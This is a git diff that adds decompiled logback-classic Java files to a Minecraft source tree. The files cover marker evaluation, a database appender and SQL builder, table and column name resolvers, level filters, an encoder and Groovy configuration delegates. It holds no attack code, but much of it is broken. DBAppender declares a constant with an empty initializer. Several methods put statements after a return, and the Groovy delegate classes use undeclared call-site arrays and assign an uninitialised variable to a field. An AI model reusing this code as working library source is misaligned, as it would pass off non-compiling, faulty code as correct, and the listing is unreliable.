diff --git a/src/minecraft/ch/qos/logback/classic/boolex/OnMarkerEvaluator.java b/src/minecraft/ch/qos/logback/classic/boolex/OnMarkerEvaluator.java
new file mode 100644
index 0000000..9c90967
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/boolex/OnMarkerEvaluator.java
@@ -0,0 +1,58 @@
+package ch.qos.logback.classic.boolex;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.boolex.EvaluationException;
+import ch.qos.logback.core.boolex.EventEvaluatorBase;
+import java.util.ArrayList;
+import java.util.List;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OnMarkerEvaluator
+  extends EventEvaluatorBase<ILoggingEvent>
+{
+  public OnMarkerEvaluator() {}
+  
+  List<String> markerList = new ArrayList();
+  
+  public void addMarker(String markerStr) {
+    markerList.add(markerStr);
+  }
+  
+
+
+
+
+  public boolean evaluate(ILoggingEvent event)
+    throws NullPointerException, EvaluationException
+  {
+    Marker eventsMarker = event.getMarker();
+    if (eventsMarker == null) {
+      return false;
+    }
+    
+    for (String markerStr : markerList) {
+      if (eventsMarker.contains(markerStr)) {
+        return true;
+      }
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/db/DBAppender.java b/src/minecraft/ch/qos/logback/classic/db/DBAppender.java
new file mode 100644
index 0000000..faef11d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/db/DBAppender.java
@@ -0,0 +1,314 @@
+package ch.qos.logback.classic.db;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.db.names.DBNameResolver;
+import ch.qos.logback.classic.db.names.DefaultDBNameResolver;
+import ch.qos.logback.classic.spi.CallerData;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.IThrowableProxy;
+import ch.qos.logback.classic.spi.LoggerContextVO;
+import ch.qos.logback.classic.spi.StackTraceElementProxy;
+import ch.qos.logback.classic.spi.ThrowableProxyUtil;
+import ch.qos.logback.core.db.DBAppenderBase;
+import java.lang.reflect.Method;
+import java.sql.Connection;
+import java.sql.PreparedStatement;
+import java.sql.SQLException;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DBAppender
+  extends DBAppenderBase<ILoggingEvent>
+{
+  protected String insertPropertiesSQL;
+  protected String insertExceptionSQL;
+  protected String insertSQL;
+  protected static final Method GET_GENERATED_KEYS_METHOD;
+  private DBNameResolver dbNameResolver;
+  static final int TIMESTMP_INDEX = 1;
+  static final int FORMATTED_MESSAGE_INDEX = 2;
+  static final int LOGGER_NAME_INDEX = 3;
+  static final int LEVEL_STRING_INDEX = 4;
+  static final int THREAD_NAME_INDEX = 5;
+  static final int REFERENCE_FLAG_INDEX = 6;
+  static final int ARG0_INDEX = 7;
+  static final int ARG1_INDEX = 8;
+  static final int ARG2_INDEX = 9;
+  static final int ARG3_INDEX = 10;
+  static final int CALLER_FILENAME_INDEX = 11;
+  static final int CALLER_CLASS_INDEX = 12;
+  static final int CALLER_METHOD_INDEX = 13;
+  static final int CALLER_LINE_INDEX = 14;
+  static final int EVENT_ID_INDEX = 15;
+  static final StackTraceElement EMPTY_CALLER_DATA = ;
+  
+  static
+  {
+    Method getGeneratedKeysMethod;
+    try
+    {
+      getGeneratedKeysMethod = PreparedStatement.class.getMethod("getGeneratedKeys", (Class[])null);
+    }
+    catch (Exception ex) {
+      getGeneratedKeysMethod = null;
+    }
+    GET_GENERATED_KEYS_METHOD = getGeneratedKeysMethod;
+  }
+  
+  public void setDbNameResolver(DBNameResolver dbNameResolver) {
+    this.dbNameResolver = dbNameResolver;
+  }
+  
+  public void start()
+  {
+    if (dbNameResolver == null)
+      dbNameResolver = new DefaultDBNameResolver();
+    insertExceptionSQL = SQLBuilder.buildInsertExceptionSQL(dbNameResolver);
+    insertPropertiesSQL = SQLBuilder.buildInsertPropertiesSQL(dbNameResolver);
+    insertSQL = SQLBuilder.buildInsertSQL(dbNameResolver);
+    super.start();
+  }
+  
+
+  protected void subAppend(ILoggingEvent event, Connection connection, PreparedStatement insertStatement)
+    throws Throwable
+  {
+    bindLoggingEventWithInsertStatement(insertStatement, event);
+    bindLoggingEventArgumentsWithPreparedStatement(insertStatement, event.getArgumentArray());
+    
+
+    bindCallerDataWithPreparedStatement(insertStatement, event.getCallerData());
+    
+    int updateCount = insertStatement.executeUpdate();
+    if (updateCount != 1) {
+      addWarn("Failed to insert loggingEvent");
+    }
+  }
+  
+  protected void secondarySubAppend(ILoggingEvent event, Connection connection, long eventId) throws Throwable
+  {
+    Map<String, String> mergedMap = mergePropertyMaps(event);
+    insertProperties(mergedMap, connection, eventId);
+    
+    if (event.getThrowableProxy() != null) {
+      insertThrowable(event.getThrowableProxy(), connection, eventId);
+    }
+  }
+  
+  void bindLoggingEventWithInsertStatement(PreparedStatement stmt, ILoggingEvent event) throws SQLException
+  {
+    stmt.setLong(1, event.getTimeStamp());
+    stmt.setString(2, event.getFormattedMessage());
+    stmt.setString(3, event.getLoggerName());
+    stmt.setString(4, event.getLevel().toString());
+    stmt.setString(5, event.getThreadName());
+    stmt.setShort(6, DBHelper.computeReferenceMask(event));
+  }
+  
+  void bindLoggingEventArgumentsWithPreparedStatement(PreparedStatement stmt, Object[] argArray)
+    throws SQLException
+  {
+    int arrayLen = argArray != null ? argArray.length : 0;
+    
+    for (int i = 0; (i < arrayLen) && (i < 4); i++) {
+      stmt.setString(7 + i, asStringTruncatedTo254(argArray[i]));
+    }
+    if (arrayLen < 4) {
+      for (int i = arrayLen; i < 4; i++) {
+        stmt.setString(7 + i, null);
+      }
+    }
+  }
+  
+  String asStringTruncatedTo254(Object o) {
+    String s = null;
+    if (o != null) {
+      s = o.toString();
+    }
+    
+    if (s == null) {
+      return null;
+    }
+    if (s.length() <= 254) {
+      return s;
+    }
+    return s.substring(0, 254);
+  }
+  
+
+  void bindCallerDataWithPreparedStatement(PreparedStatement stmt, StackTraceElement[] callerDataArray)
+    throws SQLException
+  {
+    StackTraceElement caller = extractFirstCaller(callerDataArray);
+    
+    stmt.setString(11, caller.getFileName());
+    stmt.setString(12, caller.getClassName());
+    stmt.setString(13, caller.getMethodName());
+    stmt.setString(14, Integer.toString(caller.getLineNumber()));
+  }
+  
+  private StackTraceElement extractFirstCaller(StackTraceElement[] callerDataArray) {
+    StackTraceElement caller = EMPTY_CALLER_DATA;
+    if (hasAtLeastOneNonNullElement(callerDataArray))
+      caller = callerDataArray[0];
+    return caller;
+  }
+  
+  private boolean hasAtLeastOneNonNullElement(StackTraceElement[] callerDataArray) {
+    return (callerDataArray != null) && (callerDataArray.length > 0) && (callerDataArray[0] != null);
+  }
+  
+  Map<String, String> mergePropertyMaps(ILoggingEvent event) {
+    Map<String, String> mergedMap = new HashMap();
+    
+
+
+    Map<String, String> loggerContextMap = event.getLoggerContextVO().getPropertyMap();
+    
+    Map<String, String> mdcMap = event.getMDCPropertyMap();
+    if (loggerContextMap != null) {
+      mergedMap.putAll(loggerContextMap);
+    }
+    if (mdcMap != null) {
+      mergedMap.putAll(mdcMap);
+    }
+    
+    return mergedMap;
+  }
+  
+  protected Method getGeneratedKeysMethod()
+  {
+    return GET_GENERATED_KEYS_METHOD;
+  }
+  
+  protected String getInsertSQL()
+  {
+    return insertSQL;
+  }
+  
+  protected void insertProperties(Map<String, String> mergedMap, Connection connection, long eventId) throws SQLException
+  {
+    Set<String> propertiesKeys = mergedMap.keySet();
+    if (propertiesKeys.size() > 0) {
+      PreparedStatement insertPropertiesStatement = null;
+      try {
+        insertPropertiesStatement = connection.prepareStatement(insertPropertiesSQL);
+        
+
+        for (String key : propertiesKeys) {
+          String value = (String)mergedMap.get(key);
+          
+          insertPropertiesStatement.setLong(1, eventId);
+          insertPropertiesStatement.setString(2, key);
+          insertPropertiesStatement.setString(3, value);
+          
+          if (cnxSupportsBatchUpdates) {
+            insertPropertiesStatement.addBatch();
+          } else {
+            insertPropertiesStatement.execute();
+          }
+        }
+        
+        if (cnxSupportsBatchUpdates) {
+          insertPropertiesStatement.executeBatch();
+        }
+      } finally {
+        ch.qos.logback.core.db.DBHelper.closeStatement(insertPropertiesStatement);
+      }
+    }
+  }
+  
+
+
+
+  void updateExceptionStatement(PreparedStatement exceptionStatement, String txt, short i, long eventId)
+    throws SQLException
+  {
+    exceptionStatement.setLong(1, eventId);
+    exceptionStatement.setShort(2, i);
+    exceptionStatement.setString(3, txt);
+    if (cnxSupportsBatchUpdates) {
+      exceptionStatement.addBatch();
+    } else {
+      exceptionStatement.execute();
+    }
+  }
+  
+
+  short buildExceptionStatement(IThrowableProxy tp, short baseIndex, PreparedStatement insertExceptionStatement, long eventId)
+    throws SQLException
+  {
+    StringBuilder buf = new StringBuilder();
+    ThrowableProxyUtil.subjoinFirstLine(buf, tp);
+    baseIndex = (short)(baseIndex + 1);updateExceptionStatement(insertExceptionStatement, buf.toString(), baseIndex, eventId);
+    
+
+    int commonFrames = tp.getCommonFrames();
+    StackTraceElementProxy[] stepArray = tp.getStackTraceElementProxyArray();
+    for (int i = 0; i < stepArray.length - commonFrames; i++) {
+      StringBuilder sb = new StringBuilder();
+      sb.append('\t');
+      ThrowableProxyUtil.subjoinSTEP(sb, stepArray[i]);
+      baseIndex = (short)(baseIndex + 1);updateExceptionStatement(insertExceptionStatement, sb.toString(), baseIndex, eventId);
+    }
+    
+
+    if (commonFrames > 0) {
+      StringBuilder sb = new StringBuilder();
+      sb.append('\t').append("... ").append(commonFrames).append(" common frames omitted");
+      
+      baseIndex = (short)(baseIndex + 1);updateExceptionStatement(insertExceptionStatement, sb.toString(), baseIndex, eventId);
+    }
+    
+
+    return baseIndex;
+  }
+  
+  protected void insertThrowable(IThrowableProxy tp, Connection connection, long eventId)
+    throws SQLException
+  {
+    PreparedStatement exceptionStatement = null;
+    try {
+      exceptionStatement = connection.prepareStatement(insertExceptionSQL);
+      
+      short baseIndex = 0;
+      while (tp != null) {
+        baseIndex = buildExceptionStatement(tp, baseIndex, exceptionStatement, eventId);
+        
+        tp = tp.getCause();
+      }
+      
+      if (cnxSupportsBatchUpdates) {
+        exceptionStatement.executeBatch();
+      }
+    } finally {
+      ch.qos.logback.core.db.DBHelper.closeStatement(exceptionStatement);
+    }
+  }
+  
+  public DBAppender() {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/db/DBHelper.java b/src/minecraft/ch/qos/logback/classic/db/DBHelper.java
new file mode 100644
index 0000000..8f06f14
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/db/DBHelper.java
@@ -0,0 +1,47 @@
+package ch.qos.logback.classic.db;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.LoggerContextVO;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+public class DBHelper
+{
+  public static final short PROPERTIES_EXIST = 1;
+  public static final short EXCEPTION_EXISTS = 2;
+  
+  public DBHelper() {}
+  
+  public static short computeReferenceMask(ILoggingEvent event)
+  {
+    short mask = 0;
+    
+    int mdcPropSize = 0;
+    if (event.getMDCPropertyMap() != null) {
+      mdcPropSize = event.getMDCPropertyMap().keySet().size();
+    }
+    int contextPropSize = 0;
+    if (event.getLoggerContextVO().getPropertyMap() != null) {
+      contextPropSize = event.getLoggerContextVO().getPropertyMap().size();
+    }
+    
+    if ((mdcPropSize > 0) || (contextPropSize > 0)) {
+      mask = 1;
+    }
+    if (event.getThrowableProxy() != null) {
+      mask = (short)(mask | 0x2);
+    }
+    return mask;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/db/SQLBuilder.java b/src/minecraft/ch/qos/logback/classic/db/SQLBuilder.java
new file mode 100644
index 0000000..dd691f5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/db/SQLBuilder.java
@@ -0,0 +1,64 @@
+package ch.qos.logback.classic.db;
+
+import ch.qos.logback.classic.db.names.ColumnName;
+import ch.qos.logback.classic.db.names.DBNameResolver;
+import ch.qos.logback.classic.db.names.TableName;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SQLBuilder
+{
+  public SQLBuilder() {}
+  
+  static String buildInsertPropertiesSQL(DBNameResolver dbNameResolver)
+  {
+    StringBuilder sqlBuilder = new StringBuilder("INSERT INTO ");
+    sqlBuilder.append(dbNameResolver.getTableName(TableName.LOGGING_EVENT_PROPERTY)).append(" (");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.EVENT_ID)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.MAPPED_KEY)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.MAPPED_VALUE)).append(") ");
+    sqlBuilder.append("VALUES (?, ?, ?)");
+    return sqlBuilder.toString();
+  }
+  
+  static String buildInsertExceptionSQL(DBNameResolver dbNameResolver) {
+    StringBuilder sqlBuilder = new StringBuilder("INSERT INTO ");
+    sqlBuilder.append(dbNameResolver.getTableName(TableName.LOGGING_EVENT_EXCEPTION)).append(" (");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.EVENT_ID)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.I)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.TRACE_LINE)).append(") ");
+    sqlBuilder.append("VALUES (?, ?, ?)");
+    return sqlBuilder.toString();
+  }
+  
+  static String buildInsertSQL(DBNameResolver dbNameResolver) {
+    StringBuilder sqlBuilder = new StringBuilder("INSERT INTO ");
+    sqlBuilder.append(dbNameResolver.getTableName(TableName.LOGGING_EVENT)).append(" (");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.TIMESTMP)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.FORMATTED_MESSAGE)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.LOGGER_NAME)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.LEVEL_STRING)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.THREAD_NAME)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.REFERENCE_FLAG)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.ARG0)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.ARG1)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.ARG2)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.ARG3)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.CALLER_FILENAME)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.CALLER_CLASS)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.CALLER_METHOD)).append(", ");
+    sqlBuilder.append(dbNameResolver.getColumnName(ColumnName.CALLER_LINE)).append(") ");
+    sqlBuilder.append("VALUES (?, ?, ? ,?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
+    return sqlBuilder.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/db/names/ColumnName.java b/src/minecraft/ch/qos/logback/classic/db/names/ColumnName.java
new file mode 100644
index 0000000..445433d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/db/names/ColumnName.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.classic.db.names;
+
+public enum ColumnName
+{
+  EVENT_ID,  TIMESTMP,  FORMATTED_MESSAGE,  LOGGER_NAME,  LEVEL_STRING,  THREAD_NAME,  REFERENCE_FLAG,  ARG0,  ARG1,  ARG2,  ARG3,  CALLER_FILENAME,  CALLER_CLASS,  CALLER_METHOD,  CALLER_LINE,  MAPPED_KEY,  MAPPED_VALUE,  I,  TRACE_LINE;
+  
+  private ColumnName() {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/db/names/DBNameResolver.java b/src/minecraft/ch/qos/logback/classic/db/names/DBNameResolver.java
new file mode 100644
index 0000000..2cf719d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/db/names/DBNameResolver.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.classic.db.names;
+
+public abstract interface DBNameResolver
+{
+  public abstract <N extends Enum<?>> String getTableName(N paramN);
+  
+  public abstract <N extends Enum<?>> String getColumnName(N paramN);
+}
diff --git a/src/minecraft/ch/qos/logback/classic/db/names/DefaultDBNameResolver.java b/src/minecraft/ch/qos/logback/classic/db/names/DefaultDBNameResolver.java
new file mode 100644
index 0000000..dd56fdc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/db/names/DefaultDBNameResolver.java
@@ -0,0 +1,33 @@
+package ch.qos.logback.classic.db.names;
+
+
+
+
+
+
+
+
+
+
+public class DefaultDBNameResolver
+  implements DBNameResolver
+{
+  public DefaultDBNameResolver() {}
+  
+
+
+
+
+
+
+
+
+  public <N extends Enum<?>> String getTableName(N tableName)
+  {
+    return tableName.toString().toLowerCase();
+  }
+  
+  public <N extends Enum<?>> String getColumnName(N columnName) {
+    return columnName.toString().toLowerCase();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/db/names/SimpleDBNameResolver.java b/src/minecraft/ch/qos/logback/classic/db/names/SimpleDBNameResolver.java
new file mode 100644
index 0000000..19977f0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/db/names/SimpleDBNameResolver.java
@@ -0,0 +1,55 @@
+package ch.qos.logback.classic.db.names;
+
+
+
+
+
+
+
+
+
+public class SimpleDBNameResolver
+  implements DBNameResolver
+{
+  public SimpleDBNameResolver() {}
+  
+
+
+
+
+
+
+
+
+  private String tableNamePrefix = "";
+  
+  private String tableNameSuffix = "";
+  
+  private String columnNamePrefix = "";
+  
+  private String columnNameSuffix = "";
+  
+  public <N extends Enum<?>> String getTableName(N tableName) {
+    return tableNamePrefix + tableName.name().toLowerCase() + tableNameSuffix;
+  }
+  
+  public <N extends Enum<?>> String getColumnName(N columnName) {
+    return columnNamePrefix + columnName.name().toLowerCase() + columnNameSuffix;
+  }
+  
+  public void setTableNamePrefix(String tableNamePrefix) {
+    this.tableNamePrefix = (tableNamePrefix != null ? tableNamePrefix : "");
+  }
+  
+  public void setTableNameSuffix(String tableNameSuffix) {
+    this.tableNameSuffix = (tableNameSuffix != null ? tableNameSuffix : "");
+  }
+  
+  public void setColumnNamePrefix(String columnNamePrefix) {
+    this.columnNamePrefix = (columnNamePrefix != null ? columnNamePrefix : "");
+  }
+  
+  public void setColumnNameSuffix(String columnNameSuffix) {
+    this.columnNameSuffix = (columnNameSuffix != null ? columnNameSuffix : "");
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/db/names/TableName.java b/src/minecraft/ch/qos/logback/classic/db/names/TableName.java
new file mode 100644
index 0000000..b89ee1d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/db/names/TableName.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.classic.db.names;
+
+public enum TableName
+{
+  LOGGING_EVENT,  LOGGING_EVENT_PROPERTY,  LOGGING_EVENT_EXCEPTION;
+  
+  private TableName() {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/encoder/PatternLayoutEncoder.java b/src/minecraft/ch/qos/logback/classic/encoder/PatternLayoutEncoder.java
new file mode 100644
index 0000000..2bfc389
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/encoder/PatternLayoutEncoder.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.classic.encoder;
+
+import ch.qos.logback.classic.PatternLayout;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.pattern.PatternLayoutEncoderBase;
+
+
+
+
+
+
+
+
+
+
+
+public class PatternLayoutEncoder
+  extends PatternLayoutEncoderBase<ILoggingEvent>
+{
+  public PatternLayoutEncoder() {}
+  
+  public void start()
+  {
+    PatternLayout patternLayout = new PatternLayout();
+    patternLayout.setContext(context);
+    patternLayout.setPattern(getPattern());
+    patternLayout.setOutputPatternAsHeader(outputPatternAsHeader);
+    patternLayout.start();
+    layout = patternLayout;
+    super.start();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/filter/LevelFilter.java b/src/minecraft/ch/qos/logback/classic/filter/LevelFilter.java
new file mode 100644
index 0000000..1f92dde
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/filter/LevelFilter.java
@@ -0,0 +1,57 @@
+package ch.qos.logback.classic.filter;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.filter.AbstractMatcherFilter;
+import ch.qos.logback.core.spi.FilterReply;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LevelFilter
+  extends AbstractMatcherFilter<ILoggingEvent>
+{
+  Level level;
+  
+  public LevelFilter() {}
+  
+  public FilterReply decide(ILoggingEvent event)
+  {
+    if (!isStarted()) {
+      return FilterReply.NEUTRAL;
+    }
+    
+    if (event.getLevel().equals(level)) {
+      return onMatch;
+    }
+    return onMismatch;
+  }
+  
+  public void setLevel(Level level)
+  {
+    this.level = level;
+  }
+  
+  public void start() {
+    if (level != null) {
+      super.start();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/filter/ThresholdFilter.java b/src/minecraft/ch/qos/logback/classic/filter/ThresholdFilter.java
new file mode 100644
index 0000000..3bec53a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/filter/ThresholdFilter.java
@@ -0,0 +1,61 @@
+package ch.qos.logback.classic.filter;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.filter.Filter;
+import ch.qos.logback.core.spi.FilterReply;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThresholdFilter
+  extends Filter<ILoggingEvent>
+{
+  Level level;
+  
+  public ThresholdFilter() {}
+  
+  public FilterReply decide(ILoggingEvent event)
+  {
+    if (!isStarted()) {
+      return FilterReply.NEUTRAL;
+    }
+    
+    if (event.getLevel().isGreaterOrEqual(level)) {
+      return FilterReply.NEUTRAL;
+    }
+    return FilterReply.DENY;
+  }
+  
+  public void setLevel(String level)
+  {
+    this.level = Level.toLevel(level);
+  }
+  
+  public void start() {
+    if (level != null) {
+      super.start();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/gaffer/AppenderDelegate.java b/src/minecraft/ch/qos/logback/classic/gaffer/AppenderDelegate.java
new file mode 100644
index 0000000..781c4aa
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/gaffer/AppenderDelegate.java
@@ -0,0 +1,72 @@
+package ch.qos.logback.classic.gaffer;
+
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.spi.AppenderAttachable;
+import groovy.lang.Closure;
+import java.util.List;
+import java.util.Map;
+import org.codehaus.groovy.runtime.GeneratedClosure;
+import org.codehaus.groovy.runtime.ScriptBytecodeAdapter;
+import org.codehaus.groovy.runtime.callsite.CallSite;
+import org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation;
+
+
+
+
+
+
+
+
+
+
+public class AppenderDelegate
+  extends ComponentDelegate
+{
+  private Map<String, Appender<?>> appendersByName;
+  
+  public AppenderDelegate(Appender appender)
+  {
+    super(appender);Map localMap = ScriptBytecodeAdapter.createMap(new Object[0]);appendersByName = localMap;
+  }
+  
+  class _closure1 extends Closure implements GeneratedClosure { public _closure1(Object _thisObject) { super(_thisObject); }
+    
+    public Object doCall(Object it) { CallSite[] arrayOfCallSite = $getCallSiteArray();return ScriptBytecodeAdapter.createMap(new Object[] { arrayOfCallSite[0].callGetProperty(it), it });return null;
+    }
+    
+    public Object doCall()
+    {
+      CallSite[] arrayOfCallSite = $getCallSiteArray();
+      return doCall(null);
+      return null;
+    }
+  }
+  
+  public AppenderDelegate(Appender appender, List<Appender<?>> appenders)
+  {
+    super(appender);Map localMap = ScriptBytecodeAdapter.createMap(new Object[0]);appendersByName = localMap;
+    Object localObject = arrayOfCallSite[0].call(appenders, new _closure1(this));appendersByName = ((Map)ScriptBytecodeAdapter.castToType(localObject, Map.class));
+  }
+  
+  public String getLabel() {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();return "appender";return null;
+  }
+  
+  public void appenderRef(String name) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray(); if ((!DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[1].call(AppenderAttachable.class, arrayOfCallSite[2].callGetProperty(arrayOfCallSite[3].callGroovyObjectGetProperty(this)))) ? 1 : 0) != 0) {
+      Object errorMessage = arrayOfCallSite[4].call(arrayOfCallSite[5].call(arrayOfCallSite[6].call(arrayOfCallSite[7].callGetProperty(arrayOfCallSite[8].callGetProperty(arrayOfCallSite[9].callGroovyObjectGetProperty(this))), " does not implement "), arrayOfCallSite[10].callGetProperty(AppenderAttachable.class)), ".");
+      throw ((Throwable)arrayOfCallSite[11].callConstructor(IllegalArgumentException.class, errorMessage));
+    }
+    arrayOfCallSite[12].call(arrayOfCallSite[13].callGroovyObjectGetProperty(this), arrayOfCallSite[14].call(appendersByName, name));
+  }
+  
+  public Map<String, Appender<?>> getAppendersByName()
+  {
+    return appendersByName;
+  }
+  
+  public void setAppendersByName(Map<String, Appender<?>> paramMap)
+  {
+    appendersByName = paramMap;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/gaffer/ComponentDelegate.java b/src/minecraft/ch/qos/logback/classic/gaffer/ComponentDelegate.java
new file mode 100644
index 0000000..f0f1159
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/gaffer/ComponentDelegate.java
@@ -0,0 +1,204 @@
+package ch.qos.logback.classic.gaffer;
+
+import ch.qos.logback.core.joran.spi.NoAutoStartUtil;
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.LifeCycle;
+import groovy.lang.Closure;
+import groovy.lang.GroovyObject;
+import groovy.lang.MetaClass;
+import java.util.Iterator;
+import java.util.List;
+import org.codehaus.groovy.runtime.BytecodeInterface8;
+import org.codehaus.groovy.runtime.GStringImpl;
+import org.codehaus.groovy.runtime.ScriptBytecodeAdapter;
+import org.codehaus.groovy.runtime.callsite.CallSite;
+import org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation;
+import org.codehaus.groovy.runtime.typehandling.ShortTypeHandling;
+
+public class ComponentDelegate
+  extends ContextAwareBase implements GroovyObject
+{
+  private final Object component;
+  private final List fieldsToCascade;
+  
+  public ComponentDelegate(Object arg1)
+  {
+    Object component;
+    CallSite[] arrayOfCallSite = $getCallSiteArray();List localList = ScriptBytecodeAdapter.createList(new Object[0]);fieldsToCascade = localList;MetaClass localMetaClass = $getStaticMetaClass();metaClass = localMetaClass;
+    
+
+    Object localObject1 = component;this.component = localObject1;
+  }
+  
+  public String getLabel() { CallSite[] arrayOfCallSite = $getCallSiteArray();return "component";return null; }
+  
+  public String getLabelFistLetterInUpperCase() { CallSite[] arrayOfCallSite = $getCallSiteArray(); if ((__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) return (String)ShortTypeHandling.castToString(arrayOfCallSite[0].call(arrayOfCallSite[1].call(arrayOfCallSite[2].call(arrayOfCallSite[3].callCurrent(this), Integer.valueOf(0))), arrayOfCallSite[4].call(arrayOfCallSite[5].callCurrent(this), Integer.valueOf(1)))); else return (String)ShortTypeHandling.castToString(arrayOfCallSite[6].call(arrayOfCallSite[7].call(arrayOfCallSite[8].call(getLabel(), Integer.valueOf(0))), arrayOfCallSite[9].call(getLabel(), Integer.valueOf(1)))); return null;
+  }
+  
+  public void methodMissing(String name, Object args) { CallSite[] arrayOfCallSite = $getCallSiteArray();NestingType nestingType = (NestingType)ShortTypeHandling.castToEnum(arrayOfCallSite[10].call(PropertyUtil.class, component, name), NestingType.class);
+    if (ScriptBytecodeAdapter.compareEqual(nestingType, arrayOfCallSite[11].callGetProperty(NestingType.class))) {
+      arrayOfCallSite[12].callCurrent(this, new GStringImpl(new Object[] { arrayOfCallSite[13].callCurrent(this), arrayOfCallSite[14].callCurrent(this), arrayOfCallSite[15].callGetProperty(arrayOfCallSite[16].call(component)), name }, new String[] { "", " ", " of type [", "] has no appplicable [", "] property " }));
+      return;
+    }
+    
+    String subComponentName = null;
+    Class clazz = null;
+    Closure closure = null;
+    Object localObject1 = arrayOfCallSite[17].callCurrent(this, args);subComponentName = (String)ShortTypeHandling.castToString(arrayOfCallSite[18].call(localObject1, Integer.valueOf(0)));clazz = (Class)ShortTypeHandling.castToClass(arrayOfCallSite[19].call(localObject1, Integer.valueOf(1)));closure = (Closure)ScriptBytecodeAdapter.castToType(arrayOfCallSite[20].call(localObject1, Integer.valueOf(2)), Closure.class);
+    if ((!BytecodeInterface8.isOrigZ()) || (__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) { if (ScriptBytecodeAdapter.compareNotEqual(clazz, null)) {
+        Object subComponent = arrayOfCallSite[21].call(clazz);
+        String str1; if (((DefaultTypeTransformation.booleanUnbox(subComponentName)) && (DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[22].call(subComponent, name))) ? 1 : 0) != 0) {
+          str1 = subComponentName;ScriptBytecodeAdapter.setProperty(str1, null, subComponent, "name"); }
+        Object localObject2;
+        if ((subComponent instanceof ContextAware)) {
+          localObject2 = arrayOfCallSite[23].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setProperty(localObject2, null, subComponent, "context");
+        }
